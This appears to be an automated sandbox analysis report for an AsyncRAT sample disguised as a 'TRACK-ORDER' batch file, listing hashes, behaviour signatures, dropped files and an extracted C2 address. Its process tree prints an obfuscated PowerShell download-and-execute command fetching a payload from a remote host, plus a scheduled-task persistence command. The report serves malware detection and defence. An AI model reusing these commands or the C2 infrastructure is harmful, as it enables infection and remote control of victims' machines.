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Resubmissions

11/09/2022, 02:28

220911-cxzvkaefcm 8

10/09/2022, 15:56

220910-tdcdlaach5 10

Analysis

  • max time kernel
    174s
  • max time network
    273s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/09/2022, 15:56

General

  • Target

    TRACK-ORDER#114-85737.bat

  • Size

    65KB

  • MD5

    44d81d1aecc0e4b0aa0f9ad726a02e99

  • SHA1

    eebf5c17f72ee3a323619f45dd1db9d03a417c37

  • SHA256

    4d634f419ee6d84324dccb8c2bbe3ed583220a676c92b1facf34bc749b4a9712

  • SHA512

    6aff752752bdc92478e336c4e71e6d77ada065a76e255e84070834bcdcca52d296cc22d7f778d1dd1cc859b31716fb5a08325977cda550d2ab5da6d490121cb2

  • SSDEEP

    192:nyj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj5yj/:4

Score
10/10

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

Default

C2

saedmad.linkpc.net:6666

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Async RAT payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TRACK-ORDER#114-85737.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\system32\cmd.exe
      CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$Whnj='IEX(NEW-OBJECT NET.W';$edKw='EBCLIENT).DOWNLO';[BYTE[]];$ARsr='TUUL(''https://surveydatabd.com/img/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($Whnj+$edKw+$ARsr)
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3992
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$Whnj='IEX(NEW-OBJECT NET.W';$edKw='EBCLIENT).DOWNLO';[BYTE[]];$ARsr='TUUL(''https://surveydatabd.com/img/im.png'')'.REPLACE('TUUL','ADSTRING');[BYTE[]];IEX($Whnj+$edKw+$ARsr)
        3⤵
        • Blocklisted process makes network request
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2428
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\ProgramData\Not\xx.vbs"
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:5056
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Not\xx.bat" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2340
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /tn App /sc minute /mo 3 /tr "C:\ProgramData\Not\Bin.vbs"
              6⤵
              • Creates scheduled task(s)
              PID:4524
  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "C:\ProgramData\Not\Bin.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Not\Bin.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3876
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\Not\Bin.ps1
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4128
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4144

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\Not\Bin.bat

    Filesize

    83B

    MD5

    228c44b9cc0e8c86c51fddaf3294bcf8

    SHA1

    7e83a7e1e4f33a4a299554090de4563534629754

    SHA256

    fce64aa23e5bc07ad08d364af38b3a3adc4effc0eaf72c90acf868b7be3fdf6a

    SHA512

    bbb26d73fd47a926cf358ae5263fb246a93201b60d8650018e24b027e7e708b9afdb5a0aeaed7444736eb319721b2da4eca57e60e3e98643270e09e1d0b433d6

  • C:\ProgramData\Not\Bin.ps1

    Filesize

    345KB

    MD5

    bb3e63b6d61561accb4026bcbd5a7afb

    SHA1

    21be5417c5fde2934f789fc9ca3fd0f55225f4a2

    SHA256

    56a539c6a9a2f57c81e3f873360f451c4c452f7bb3fad9353e9ce822fedaf1de

    SHA512

    50472f0848dec09a4184648072b731482100311e6b0f730002606cfdf4094e8b9f2bdc98f0a2fee085e479c05aa2c7d3eb99040c7c8c35737ffbc4e23fd2207c

  • C:\ProgramData\Not\Bin.vbs

    Filesize

    118B

    MD5

    9c7994acb861283eab4675bb06ba4159

    SHA1

    f6e83e6d35dbcf9cd3a0d3677d7b676df79d1b30

    SHA256

    e86197ddea92b4f651707713ffe7db2bb252786a6ae6196481433cc43e7a999c

    SHA512

    a512e20e819941e0bf713e42cbbf0c5ddf541f0976f49f022e2c1227f7a414443703fc985e65f0ced33f4d9c6cbd58849b28d05eb4b676c6a087ea10a3a9ff26

  • C:\ProgramData\Not\xx.bat

    Filesize

    81B

    MD5

    bed7fd2f5fc7183c0a509fc8f9d48ec9

    SHA1

    460dd3af5d3010be510b5593ba8740912c92fc85

    SHA256

    2f80e6b366b6a89a4e28234ab02f4bbc2232c899e5f1f167900567972c9589c2

    SHA512

    4c377cb0892eae4a003005f0b4bc081dd5f5a519cb662ab8dab9e2446d22a357a3774824e4c7d3613031a9a10dc061f79371c15510deabd21b8a80ff14f41445

  • C:\ProgramData\Not\xx.vbs

    Filesize

    169B

    MD5

    192a7c188e6ede340bdb4d518a4ed036

    SHA1

    141a993b91c38b734579427b815df181a0ee3cb1

    SHA256

    5e8c30a0ac20a2cac5e482a59ccbf94d9ac470034a4ef6cba58740d5056b7466

    SHA512

    3b7d1d75f665604896751036966d296558e2e11151c0de83cc079dda069d8f560cd0f0bd623c08ab09a466fadbc0d91d8e577dc3c32613fc9e2c807a023e1f3e

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    556084f2c6d459c116a69d6fedcc4105

    SHA1

    633e89b9a1e77942d822d14de6708430a3944dbc

    SHA256

    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

    SHA512

    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6b7ac01e198a7605eb839bc9d0f82892

    SHA1

    1745825f055a97a44a877ce22b772709bdfafe0a

    SHA256

    bd6de323224adb57779eea57fe6817dea350d402161165a7a203540b5d98ee34

    SHA512

    cfab4ce52e0634e216945d6d54bb1801c9cda03a4c6e01881f044218ccd1383daa962fc7f5d83a910fb6ee89dcb4cfd310db706394ea4b6dac8b1870f1755a14

  • memory/2428-135-0x00007FFE93F90000-0x00007FFE94A51000-memory.dmp

    Filesize

    10.8MB

  • memory/2428-136-0x00007FFE93F90000-0x00007FFE94A51000-memory.dmp

    Filesize

    10.8MB

  • memory/2428-134-0x0000024FCDB50000-0x0000024FCDB72000-memory.dmp

    Filesize

    136KB

  • memory/2428-139-0x00007FFE93F90000-0x00007FFE94A51000-memory.dmp

    Filesize

    10.8MB

  • memory/4128-153-0x00007FFE93C60000-0x00007FFE94721000-memory.dmp

    Filesize

    10.8MB

  • memory/4128-150-0x00007FFE93C60000-0x00007FFE94721000-memory.dmp

    Filesize

    10.8MB

  • memory/4144-151-0x0000000000400000-0x0000000000414000-memory.dmp

    Filesize

    80KB

  • memory/4144-154-0x0000000005960000-0x00000000059FC000-memory.dmp

    Filesize

    624KB

  • memory/4144-155-0x0000000005FB0000-0x0000000006554000-memory.dmp

    Filesize

    5.6MB

  • memory/4144-156-0x0000000005A70000-0x0000000005AD6000-memory.dmp

    Filesize

    408KB